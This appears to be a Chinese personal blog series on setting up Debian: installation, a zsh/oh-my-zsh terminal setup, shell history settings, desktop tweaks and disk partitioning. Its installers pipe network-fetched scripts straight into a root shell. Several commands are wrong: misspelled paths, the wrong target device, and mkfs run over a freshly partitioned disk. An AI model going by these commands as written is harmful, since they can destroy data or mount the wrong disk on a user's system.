yes!有一次我選擇 NO ，安裝完之後就傻傻的從頭安裝。\n選擇磁區 安裝 boot loader 畫面 安裝完畢畫面 經過最短路徑 35 個步驟終於安裝完啦！不得不說安裝 Debian 不看前人或官方的安裝指引，真的有種在走迷宮的感覺。\n安裝問題處理 # Intel 無線網卡驅動程式 # 這是我安裝Debian 第一個遇到的問題，處理方式是將對別人處理好的deb檔，下載後放到令一個空白隨身碟中，記得需要把deb當放在隨身碟第一層目錄，不然會安裝驅動失敗。\n在安裝的過程當中系統會提示你，有找到不認識的硬體設備，可以透過準備好的安裝檔案裝。這時你就可以把剛剛準備好的隨身碟依照指示安裝到電腦當中。\nnVidia 安裝驅動 # 這個問題是發生在我組裝電腦的上面。\n安裝完電腦就可已正常啟動並且運作，但是常常運作到一半系統畫面就無緣無故當機。\n通常電腦當機的原因有\n硬體問題 驅動程式問題 軟體問題 我的檢測方式是，當發生當機時，看看Linux 是不是可以透過其他電腦ping 檢測可以接通，如果可以代表CPU、RAM等等電腦計算功能都是正常運作，剩下就是螢幕上的顯示功能。\n在我安裝組裝電腦時，沒有特別去安裝硬體官方網站上所推出的驅動程式，想說就都用公用的驅動應該沒有問題吧！反正我頂多就只是個高級文書人員而已。\n後來我去下載險卡的驅動程式後，用到一半系統畫面突然死當的狀況就被解決了。\n參考資料 # 在哪裡可以找到 non-free （非自由的）光碟映像檔？\n黑暗執行緒—Debian 與 Non-Free Firmware\nDB2 使用者及群組 (Linux 及 UNIX)\nOpenSwitch OPX system overview\n5.3 以垂直的觀點來看 Debian 軟體的分佈：main、contrib、non-free、non-us Intel Wireless WiFi Link, Wireless-N, Advanced-N, Ultimate-N devices\n取得 Debian\nDebian GNU/Linux 安裝手冊\n圖解 Debian 10（Buster）安裝步驟\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/004-%E5%AE%89%E8%A3%9Ddebian/","section":"Posts","summary":"我的Linux生活日記 02-安裝Debian # 今天讓我詳細介紹如何安裝Debian吧！老實說安裝Debian步驟真的超多的。我記得我第一次接觸Debian 10 安裝時，有點不知所措。因為步驟真的比Ubuntu 、CentOS 多好多，因此我在這邊簡單帶一下安裝步驟。\n","title":"我的Linux生活日記 02-安裝Debian","type":"post"},{"content":" 我的Linux生活日記 03-建立一個友善的終端機人機介面 # 既然都安裝Lunx而且畢生都得跟Linux 為伍，必須得跟文字介面為伍。但是我記性偏偏不好，大腦記憶體只有256KB少的可憐，所以安裝完Linux第一件事情是優化文字介面。\n安裝必要套件 # 1 sudo apt -y install curl wget git 下載字型 # 下載 Meslo Nerd Font 讓 terminal 可以正常顯示icon\nMesloLGS NF Regular.ttf MesloLGS NF Bold.ttf MesloLGS NF Italic.ttf 1 2 3 4 5 sudo mkdir -p /usr/local/share/fonts/custom sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Regular.ttf sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold.ttf sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Italic.ttf sudo fc-cache -v -f 安裝 Tabby terminal # 官方網站: https://tabby.sh/\n下載網址: https://github.com/Eugeny/tabby/releases\n安裝指令\n1 2 curl -s https://packagecloud.io/install/repositories/eugeny/tabby/script.deb.sh | sudo bash sudo apt install tabby-terminal 設定字型為 MesloLGS NF\n安裝 zsh # 安裝指令 1 2 3 4 # Debian sudo apt install zsh # Redhat sudo dnf install zsh 預設 zsh 為殼層 1 2 chsh -s $(/usr/bin/zsh) sudo chsh -s /usr/bin/zsh 安裝 autojump # 1 2 3 4 # Debian sudo apt install autojump # Redhat sudo dnf install autojump wting/autojump\n安裝 Oh-my-zsh # 下載並安裝 Oh-my-zsh # 重新登入後生效\n安裝指令 1 sh -c \u0026#34;$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\u0026#34; 下載plugin # tab 自動完成: zsh-completions # 安裝指令 1 git clone https://github.com/zsh-users/zsh-completions ${ZSH_CUSTOM:=~/.oh-my-zsh/custom}/plugins/zsh-completions 更新指令 1 git -C ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/zsh-completions pull 自動補全: zsh-autosuggestions # 會依據歷史紀錄預覽顯示，效果如圖\n安裝指令 1 git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions 更新指令 1 git -C ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/zsh-autosuggestions pull 高亮度語法: zsh-syntax-highlighting # 可以輕易識別一行指令中的組成成份，上面是原始，下面是套用過的效果。\n安裝指令 1 git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting 更新指令 1 git -C ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/zsh-syntax-highlighting pull powerlevel10k # 可以漂亮顯示當前目錄的狀態。\n安裝指令 1 git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k 更新指令 1 git -C ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k pull 設定 oh-my-zsh # 下載完成之後，接下來就是配置設定啦。首先我們先編輯 .zshrc 文件。\n~/.zshrc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... 部份省略 # Set name of the theme to load --- if set to \u0026#34;random\u0026#34;, it will # load a random theme each time oh-my-zsh is loaded, in which case, # to know which specific one was loaded, run: echo $RANDOM_THEME # See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes # ZSH_THEME=\u0026#34;robbyrussell\u0026#34; # 異動內容 ZSH_THEME=\u0026#34;powerlevel10k/powerlevel10k\u0026#34; ... 部份省略 # Which plugins would you like to load? # Standard plugins can be found in $ZSH/plugins/ # Custom plugins may be added to $ZSH_CUSTOM/plugins/ # Example format: plugins=(rails git textmate ruby lighthouse) # Add wisely, as too many plugins slow down shell startup. # 異動內容 plugins=( git zsh-syntax-highlighting zsh-autosuggestions zsh-completions autojump ) ... 部份省略 alias history=\u0026#34;history -i\u0026#34; # How many commands to store in history HISTSIZE=10000 SAVEHIST=100000 # History file for zsh HISTFILE=~/.zsh_history setopt INC_APPEND_HISTORY # Share history in every terminal session setopt SHARE_HISTORY setopt HIST_EXPIRE_DUPS_FIRST setopt HIST_IGNORE_SPACE setopt EXTENDED_HISTORY 套用設定 配置完 .zshrc 文件之後就是跑 powerlevel10k 設定啦！\n1 source ~/.zshrc 接下來就會自動引導設定\n經過一系列喜好設定這就是我自己喜歡的樣式\n如果之後想改樣powerlevel10k樣式設定執行下列命令就可以了。\n1 p10k configure 有趣的小功能 # 1 sudo apt install -y cowsay sl cmatrix sysvbanner figlet ~/.zshrc 1 2 alias cowsay=/usr/games/cowsay alias sl=/usr/games/sl 1 2 3 4 5 cowsay 測試 sl cmatrix -r banner Test figlet Test 我的設定 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc. # Initialization code that may require console input (password prompts, [y/n] # confirmations, etc.) must go above this block; everything else may go below. if [[ -r \u0026#34;${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\u0026#34; ]]; then source \u0026#34;${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh\u0026#34; fi # If you come from bash you might have to change your $PATH. # export PATH=$HOME/bin:$HOME/.local/bin:/usr/local/bin:$PATH # Path to your Oh My Zsh installation. export ZSH=\u0026#34;$HOME/.oh-my-zsh\u0026#34; # Set name of the theme to load --- if set to \u0026#34;random\u0026#34;, it will # load a random theme each time Oh My Zsh is loaded, in which case, # to know which specific one was loaded, run: echo $RANDOM_THEME # See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes #ZSH_THEME=\u0026#34;robbyrussell\u0026#34; ZSH_THEME=\u0026#34;powerlevel10k/powerlevel10k\u0026#34; # Set list of themes to pick from when loading at random # Setting this variable when ZSH_THEME=random will cause zsh to load # a theme from this variable instead of looking in $ZSH/themes/ # If set to an empty array, this variable will have no effect. # ZSH_THEME_RANDOM_CANDIDATES=( \u0026#34;robbyrussell\u0026#34; \u0026#34;agnoster\u0026#34; ) # Uncomment the following line to use case-sensitive completion. # CASE_SENSITIVE=\u0026#34;true\u0026#34; # Uncomment the following line to use hyphen-insensitive completion. # Case-sensitive completion must be off. _ and - will be interchangeable. # HYPHEN_INSENSITIVE=\u0026#34;true\u0026#34; # Uncomment one of the following lines to change the auto-update behavior # zstyle \u0026#39;:omz:update\u0026#39; mode disabled # disable automatic updates # zstyle \u0026#39;:omz:update\u0026#39; mode auto # update automatically without asking # zstyle \u0026#39;:omz:update\u0026#39; mode reminder # just remind me to update when it\u0026#39;s time # Uncomment the following line to change how often to auto-update (in days). # zstyle \u0026#39;:omz:update\u0026#39; frequency 13 # Uncomment the following line if pasting URLs and other text is messed up. # DISABLE_MAGIC_FUNCTIONS=\u0026#34;true\u0026#34; # Uncomment the following line to disable colors in ls. # DISABLE_LS_COLORS=\u0026#34;true\u0026#34; # Uncomment the following line to disable auto-setting terminal title. # DISABLE_AUTO_TITLE=\u0026#34;true\u0026#34; # Uncomment the following line to enable command auto-correction. # ENABLE_CORRECTION=\u0026#34;true\u0026#34; # Uncomment the following line to display red dots whilst waiting for completion. # You can also set it to another string to have that shown instead of the default red dots. # e.g. COMPLETION_WAITING_DOTS=\u0026#34;%F{yellow}waiting...%f\u0026#34; # Caution: this setting can cause issues with multiline prompts in zsh \u0026lt; 5.7.1 (see #5765) # COMPLETION_WAITING_DOTS=\u0026#34;true\u0026#34; # Uncomment the following line if you want to disable marking untracked files # under VCS as dirty. This makes repository status check for large repositories # much, much faster. # DISABLE_UNTRACKED_FILES_DIRTY=\u0026#34;true\u0026#34; # Uncomment the following line if you want to change the command execution time # stamp shown in the history command output. # You can set one of the optional three formats: # \u0026#34;mm/dd/yyyy\u0026#34;|\u0026#34;dd.mm.yyyy\u0026#34;|\u0026#34;yyyy-mm-dd\u0026#34; # or set a custom format using the strftime function format specifications, # see \u0026#39;man strftime\u0026#39; for details. # HIST_STAMPS=\u0026#34;mm/dd/yyyy\u0026#34; HIST_STAMPS=\u0026#34;%F_%T\u0026#34; # Would you like to use another custom folder than $ZSH/custom? # ZSH_CUSTOM=/path/to/new-custom-folder # Which plugins would you like to load? # Standard plugins can be found in $ZSH/plugins/ # Custom plugins may be added to $ZSH_CUSTOM/plugins/ # Example format: plugins=(rails git textmate ruby lighthouse) # Add wisely, as too many plugins slow down shell startup. #plugins=(git) plugins=( git zsh-syntax-highlighting zsh-autosuggestions zsh-completions autojump ) alias history=\u0026#34;history -i\u0026#34; HISTFILE=~/.zsh_history HISTSIZE=100000000 SAVEHIST=100000000 setopt appendhistory setopt sharehistory setopt hist_expire_dups_first setopt hist_ignore_dups setopt hist_ignore_space setopt hist_verify setopt hist_save_no_dups setopt hist_no_store source $ZSH/oh-my-zsh.sh # User configuration # export MANPATH=\u0026#34;/usr/local/man:$MANPATH\u0026#34; # You may need to manually set your language environment # export LANG=en_US.UTF-8 # Preferred editor for local and remote sessions # if [[ -n $SSH_CONNECTION ]]; then # export EDITOR=\u0026#39;vim\u0026#39; # else # export EDITOR=\u0026#39;nvim\u0026#39; # fi # Compilation flags # export ARCHFLAGS=\u0026#34;-arch $(uname -m)\u0026#34; # Set personal aliases, overriding those provided by Oh My Zsh libs, # plugins, and themes. Aliases can be placed here, though Oh My Zsh # users are encouraged to define aliases within a top-level file in # the $ZSH_CUSTOM folder, with .zsh extension. Examples: # - $ZSH_CUSTOM/aliases.zsh # - $ZSH_CUSTOM/macos.zsh # For a full list of active aliases, run `alias`. # # Example aliases # alias zshconfig=\u0026#34;mate ~/.zshrc\u0026#34; # alias ohmyzsh=\u0026#34;mate ~/.oh-my-zsh\u0026#34; # # To customize prompt, run `p10k configure` or edit ~/.p10k.zsh. [[ ! -f ~/.p10k.zsh ]] || source ~/.p10k.zsh 好玩套件 # imgcat 終端機瀏覽圖片 # 安裝 1 2 3 wget https://github.com/danielgatis/imgcat/releases/download/v1.0.21/imgcat_1.0.21_linux_arm64.tar.gz sudo tar -xzf imgcat_1.0.21_linux_arm64.tar.gz -C /usr/local/bin sudo ln -s /usr/local/bin/imgcat /usr/bin/imgcat 使用 1 imgcat image.png imgls 列出圖片內容 # 安裝 1 2 3 go install github.com/rsookram/imgls/cmd/imgls@latest sudo mv $HOME/go/bin/imgls /usr/locat/bin sudo chown root:root /usr/locat/bin/imgls 使用方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ imgls Failed to decode /home/pollochang/Pictures/A050624-張舜全-鄧茹方-修片檔.zip. image: unknown format Failed to decode /home/pollochang/Pictures/A050624-張舜全-鄧茹方-第2次修片檔.zip. image: unknown format Failed to decode /home/pollochang/Pictures/A050624-張舜全-鄧茹方-第3次修片檔.zip. image: unknown format Failed to decode /home/pollochang/Pictures/profileIcon_vybz6w3m742f1.webp. image: unknown format NUM FORMAT WIDTH HEIGHT SIZE FILENAME 1 jpeg 1024 1024 80K Designer.jpeg 2 png 1024 1024 1M Gemini_Generated_Image_656h0n656h0n656h.png 3 png 1024 1024 862K Gemini_Generated_Image_80s2yc80s2yc80s2.png 4 png 1024 1024 1M Gemini_Generated_Image_oq5r1ooq5r1ooq5r.png 5 png 1024 1024 934K Gemini_Generated_Image_qrtjaqqrtjaqqrtj.png 6 jpeg 225 225 13K images.jpeg 7 png 1024 1024 730K unnamed.png 8 jpeg 194 259 14K 吶喊.jpeg 參考資料 # 【分享】Oh My Zsh + powerlevel10k 快速打造好看好用的 command line 環境\nPowerlevel10k\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/003-%E5%BB%BA%E7%AB%8B%E4%B8%80%E5%80%8B%E5%8F%8B%E5%96%84%E7%9A%84%E7%B5%82%E7%AB%AF%E6%A9%9F%E4%BA%BA%E6%A9%9F%E7%95%8C%E9%9D%A2/","section":"Posts","summary":"我的Linux生活日記 03-建立一個友善的終端機人機介面 # 既然都安裝Lunx而且畢生都得跟Linux 為伍，必須得跟文字介面為伍。但是我記性偏偏不好，大腦記憶體只有256KB少的可憐，所以安裝完Linux第一件事情是優化文字介面。\n","title":"我的Linux生活日記 03-建立一個友善的終端機人機介面","type":"post"},{"content":" 我的Linux生活日記 032-history時間戳記 # history 時間戳記\n未配置前 1 2 3 4 5 6 7 pollochang@debian-12-template:~$ history 1 sudo apt update 2 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 3 sudo vim /etc/profile.d/ssh-login-info.sh 4 sudo chmod +x /etc/profile.d/ssh-login-info.sh 5 sudo apt install tmux 6 history 配置後 1 2 3 4 5 6 7 8 9 10 pollochang@debian-12-template:~$ history 1 2023-09-18 16:10:55 sudo -i 2 2023-09-18 16:10:55 sudo apt update 3 2023-09-18 16:10:55 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 4 2023-09-18 16:10:55 sudo vim /etc/profile.d/ssh-login-info.sh 5 2023-09-18 16:10:55 sudo chmod +x /etc/profile.d/ssh-login-info.sh 6 2023-09-18 16:10:55 sudo apt install tmux 7 2023-09-18 16:10:55 history 8 2023-09-18 16:10:55 sudo vim /etc/profile.d/history.sh 9 2023-09-18 16:10:58 history 配置腳本: /etc/profile.d/history.sh 1 2 3 4 5 # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTCONTROL=ignoredups:ignorespace HISTSIZE=50000 HISTFILESIZE=50000 HISTTIMEFORMAT=\u0026#39;%F %T \u0026#39; HISTTIMEFORMAT 相關時間格式:\n1 HISTTIMEFORMAT=\u0026#39;%Y:%m:%d:%H:%M:%S \u0026#39; 1 sudo chmod 0755 /etc/profile.d/history.sh ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/032-history%E6%99%82%E9%96%93%E6%88%B3%E8%A8%98/","section":"Posts","summary":"我的Linux生活日記 032-history時間戳記 # history 時間戳記\n未配置前 1 2 3 4 5 6 7 pollochang@debian-12-template:~$ history 1 sudo apt update 2 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 3 sudo vim /etc/profile.d/ssh-login-info.sh 4 sudo chmod +x /etc/profile.d/ssh-login-info.sh 5 sudo apt install tmux 6 history 配置後 1 2 3 4 5 6 7 8 9 10 pollochang@debian-12-template:~$ history 1 2023-09-18 16:10:55 sudo -i 2 2023-09-18 16:10:55 sudo apt update 3 2023-09-18 16:10:55 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 4 2023-09-18 16:10:55 sudo vim /etc/profile.d/ssh-login-info.sh 5 2023-09-18 16:10:55 sudo chmod +x /etc/profile.d/ssh-login-info.sh 6 2023-09-18 16:10:55 sudo apt install tmux 7 2023-09-18 16:10:55 history 8 2023-09-18 16:10:55 sudo vim /etc/profile.d/history.sh 9 2023-09-18 16:10:58 history 配置腳本: /etc/profile.d/history.sh 1 2 3 4 5 # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTCONTROL=ignoredups:ignorespace HISTSIZE=50000 HISTFILESIZE=50000 HISTTIMEFORMAT='%F %T ' HISTTIMEFORMAT 相關時間格式:\n","title":"我的Linux生活日記 032-history時間戳記","type":"post"},{"content":" 我的Linux生活日記 04-一些電腦基本設定 # 接下來就是一些電腦基本設定啦。由於這次是以個人電腦使用取向為方向，所以原則上電腦設定的部份已圖形介面為主。以下就是新安裝電腦之後會用的設定。\n移除娛樂性質軟體 # 1 apt remove aisleriot four-in-a-row gnome-2048 gnome-chess gnome-games gnome-klotski gnome-mahjongg gnome-mines gnome-nibbles gnome-robots gnome-sudoku gnome-taquin lightsoff hitori swell-foop tali gnome-tetravex quadrapassel five-or-more cheese gnome-weather gnome-sound-recorder transmission-gtk transmission-common gnome-music gnome-system-monitor gnome-characters gnome-maps 好用的終端機目錄工具 # ranger 1 sudo apt install ranger 快捷建跟 vim 一樣\n另外我也想玩 Midnight Commander\n設定快捷鍵-Tabby # 進入設定 settings \u0026gt; Devices \u0026gt; keboard 新增快捷鍵 輸入 tabby 按下你想要的設定：像我就已經習慣 ubuntu 呼叫終端機的方式 Ctrl + Alt + t 設定閒置關閉螢幕並鎖上 # 工作一天8小時，人總會離開電腦座位的，離開的過程中無法確保家中的小貓、工作調皮的同事會對你未完成的系統加什麼好料，因此養成離開座位就螢幕就上鎖的好習慣。但是偶爾還是會不小心忘記上鎖，所以在這邊記得設定閒置上鎖。\nsettings \u0026gt; Power \u0026gt; Power Saving 安裝防火牆 # 我認為防火牆是必須膽安裝的，因為在開發軟體的過程中本機可能會安裝一些可以對外服務的工具，例如：docker、tomcat、postgresql。因此防火牆是基本要安裝的。\n至於是ufw、firewalld、iptables或是其他選項，我自己目前是比較傾向安裝firewalld。主要是目前碰到的環境系統預設的還是以firewalld為主，然而在Debian 10 的版本我最後是選擇安裝ufw，原因是在處理KVM 網路時會出現問題。 Debian 11 已經沒有這個狀況。\n安裝 ufw 1 sudo apt install ufw 啟動防火牆 1 2 sudo systemctl start ufw sudo systemctl status ufw 筆電設定蓋上螢幕不進入休眠狀態 # 設定 /etc/systemd/logind.conf 1 2 # vim /etc/systemd/logind.conf HandleLidSwitch=ignore 重起 1 systemctl restart systemd-logind 接上滑鼠自動關閉觸控板 # 這個功能對我來說非常重要，因為打字時我的手總是不小心碰到觸控板。\nTouchpad Indicator 參考資料 # Ubuntu 20.04 iBus 酷音輸入法編輯使用者詞彙\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/006-%E4%B8%80%E4%BA%9B%E9%9B%BB%E8%85%A6%E5%9F%BA%E6%9C%AC%E8%A8%AD%E5%AE%9A/","section":"Posts","summary":"我的Linux生活日記 04-一些電腦基本設定 # 接下來就是一些電腦基本設定啦。由於這次是以個人電腦使用取向為方向，所以原則上電腦設定的部份已圖形介面為主。以下就是新安裝電腦之後會用的設定。\n","title":"我的Linux生活日記 04-一些電腦基本設定","type":"post"},{"content":" 我的Linux生活日記 07-硬碟分割 # 最近忙到爆炸了，所以我就拿很久以前的筆記發文偷懶，算是在工作中寫筆記的好處吧?\n最近在工作上有一顆新的硬碟新增到主機上，順便紀錄一下處理步驟吧。\n處理步驟如下：\n取得硬碟資訊，確認實際要格式化那一顆硬碟 規劃硬碟分割格式 執行分割 新增要掛載的目標目錄 掛載目錄 取得硬碟 UUID 寫入 fstab 取得硬碟資訊 # 在分割硬碟之前記得先確認一下新增硬碟的詳細資訊，例如：硬碟容量大小等等。如果不知道可以下df -h記下哪些硬碟已經被使用了，之接下來檢查目前有哪些硬碟還沒有被掛載就可以知道目標的硬碟資訊。\n1 2 3 4 5 6 7 8 9 debian10@debian10:~$ df -h # 檢查目前的硬碟狀況 Filesystem Size Used Avail Use% Mounted on udev 2.0G 0 2.0G 0% /dev tmpfs 395M 5.5M 390M 2% /run /dev/vda1 49G 2.0G 44G 5% / tmpfs 2.0G 0 2.0G 0% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup tmpfs 375M 0 375M 0% /run/user/1000 再用 fdisk -l查詢要新增的硬碟是那一顆。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 debian10@debian10:~$ sudo fdisk -l # 列出所有的硬碟狀況 Disk /dev/vda: 50 GiB, 53687091200 bytes, 104857600 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xc20490bc Device Boot Start End Sectors Size Id Type /dev/vda1 * 2048 102856703 102854656 49G 83 Linux /dev/vda2 102858750 104855551 1996802 975M 5 Extended /dev/vda5 102858752 104855551 1996800 975M 82 Linux swap / Solaris Disk /dev/vdb: 50 GiB, 53687091200 bytes, 104857600 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes 這次我是新增的硬碟為/dev/vdb這一顆，接下來就是分割硬碟。\n計劃分割表 # 分割硬碟目前有分gdisk與fdisk。\ngdisk：是 GPT\ncgdisk /dev/sdc\nfdisk：是 MBR\n在實際應用上，GPT可以規劃2TB以上的硬碟\n1 2 3 4 5 sudo gdisk /dev/sdb # n -\u0026gt; 新增磁區 # p -\u0026gt; 邏輯磁區 # w -\u0026gt; 寫入分割表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 debian10@debian10:~$ sudo gdisk /dev/vdb GPT fdisk (gdisk) version 1.0.3 Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present Creating new GPT entries. Command (? for help): help b\tback up GPT data to a file c\tchange a partition\u0026#39;s name d\tdelete a partition i\tshow detailed information on a partition l\tlist known partition types n\tadd a new partition o\tcreate a new empty GUID partition table (GPT) p\tprint the partition table q\tquit without saving changes r\trecovery and transformation options (experts only) s\tsort partitions t\tchange a partition\u0026#39;s type code v\tverify disk w\twrite table to disk and exit x\textra functionality (experts only) ?\tprint this menu Command (? for help): p Disk /dev/vdb: 104857600 sectors, 50.0 GiB Sector size (logical/physical): 512/512 bytes Disk identifier (GUID): AA29729A-1F35-4579-B7F9-2071211B4A00 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 104857566 Partitions will be aligned on 2048-sector boundaries Total free space is 104857533 sectors (50.0 GiB) Number Start (sector) End (sector) Size Code Name Command (? for help): n Partition number (1-128, default 1): 1 First sector (34-104857566, default = 2048) or {+-}size{KMGTP}: Last sector (2048-104857566, default = 104857566) or {+-}size{KMGTP}: Current type is \u0026#39;Linux filesystem\u0026#39; Hex code or GUID (L to show codes, Enter = 8300): Changed type of partition to \u0026#39;Linux filesystem\u0026#39; Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): Y OK; writing new GUID partition table (GPT) to /dev/vdb. The operation has completed successfully. 重新讀取硬碟資訊\n1 2 3 4 # Debian partx -u /dev/sda1 # Redhat partprobe 執行分割 # 規劃完畢後，就是開始分割硬碟了。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 debian10@debian10:~$ sudo mkfs.ext4 /dev/vdb mke2fs 1.44.5 (15-Dec-2018) Found a gpt partition table in /dev/vdb Proceed anyway? (y,N) Y Creating filesystem with 13107200 4k blocks and 3276800 inodes Filesystem UUID: 85b639c6-b297-4cd6-b382-5a6677f6efd1 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424 Allocating group tables: done Writing inode tables: done Creating journal (65536 blocks): done Writing superblocks and filesystem accounting information: done 新增掛載目錄資料夾 # 分割完成之後，就是規劃這個硬碟要掛載到目錄哪裡。如果沒有，就得自己新增。\n1 mkdir -p /home/pollochang/data 掛載 # 確認是那一個目錄之後就是透過mount掛載了。\n1 sudo mount /dev/sda /home/pollochang/data 查詢 UUID # 1 2 3 4 root@loki:~# blkid /dev/vda1: UUID=\u0026#34;f4bba83d-f429-4f62-8659-c29faf16fc7e\u0026#34; TYPE=\u0026#34;ext4\u0026#34; PARTUUID=\u0026#34;750e807c-01\u0026#34; /dev/vda5: UUID=\u0026#34;d23a345e-7058-4cc8-970d-738d17759cbb\u0026#34; TYPE=\u0026#34;swap\u0026#34; PARTUUID=\u0026#34;750e807c-05\u0026#34; /dev/vdb1: UUID=\u0026#34;326448fe-b2d2-4cef-a45c-4414e17d1725\u0026#34; TYPE=\u0026#34;ext4\u0026#34; PARTUUID=\u0026#34;b9a263ed-01\u0026#34; 寫到fstab中 # 如果重新開機，你會發現之前掛載的硬碟消失了！不對！新的硬碟還須要新增到/etc/fstab這個目錄中\n1 sudo vim /etc/fstab 新增的內容如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 # /etc/fstab: static file system information. # # Use \u0026#39;blkid\u0026#39; to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # \u0026lt;file system\u0026gt; \u0026lt;mount point\u0026gt; \u0026lt;type\u0026gt; \u0026lt;options\u0026gt; \u0026lt;dump\u0026gt; \u0026lt;pass\u0026gt; ... UUID=326448fe-b2d2-4cef-a45c-4414e17d1725 /data ext4 defaults 0 1 ... 以上是我常用的硬碟分個標準流程，當然還有另一種狀況：LVM 新增 physical volume 、 physical volume 擴充空間。\n乾脆我把筆記整理上來當作鐵人賽的文章吧，順便整理筆記一下。\n如果文章內容有錯，請不吝色請教 m)(.__.)(m)Thank you.\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/007-%E7%A1%AC%E7%A2%9F%E5%88%86%E5%89%B2/","section":"Posts","summary":"我的Linux生活日記 07-硬碟分割 # 最近忙到爆炸了，所以我就拿很久以前的筆記發文偷懶，算是在工作中寫筆記的好處吧?\n","title":"我的Linux生活日記 07-硬碟分割","type":"post"},{"content":" 我的Linux生活日記 08-LVM-新增硬碟-LVM # Physical Drivers / Partitions / PV(Physical Volume) / VG(Volume Group) / LV(Logical Volume) 的相互關係 # 情境敘述 # 新增一顆5GB的硬碟，並以 LVM ( Logical Volume Management ) 管理空間。硬碟檔案格式為 ext4。\n新增硬碟步驟 # 虛擬機新增硬碟 取得硬碟資訊，確認實際要格式化那一顆硬碟 計劃分割表 新增 physical volume 新增 Volume Group 檢查 Volume Group 可以配置的大小 將 Volume Group 可用的空間加入 Logical Volume 硬碟分割 掛載硬碟 虛擬機新增硬碟 # 首先未虛擬機新增一顆5 GB 的硬碟吧！\n虛擬機這邊我是用 kvm/qemu，下面是新增的步驟。\n取得硬碟資訊，確認實際要格式化那一顆硬碟 # 取得目前掛載資訊 1 2 3 4 5 6 7 8 9 $ sudo df -h # 檢查目前的硬碟狀況 Filesystem Size Used Avail Use% Mounted on udev 479M 0 479M 0% /dev tmpfs 99M 3.0M 96M 4% /run /dev/vda1 19G 1.5G 17G 8% / tmpfs 494M 0 494M 0% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 494M 0 494M 0% /sys/fs/cgroup tmpfs 99M 0 99M 0% /run/user/1000 列出硬碟所有資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sudo fdisk -l # 列出所有的硬碟狀況 Disk /dev/vda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x1d8cb10f Device Boot Start End Sectors Size Id Type /dev/vda1 * 2048 39942143 39940096 19G 83 Linux /dev/vda2 39944190 41940991 1996802 975M 5 Extended /dev/vda5 39944192 41940991 1996800 975M 82 Linux swap / 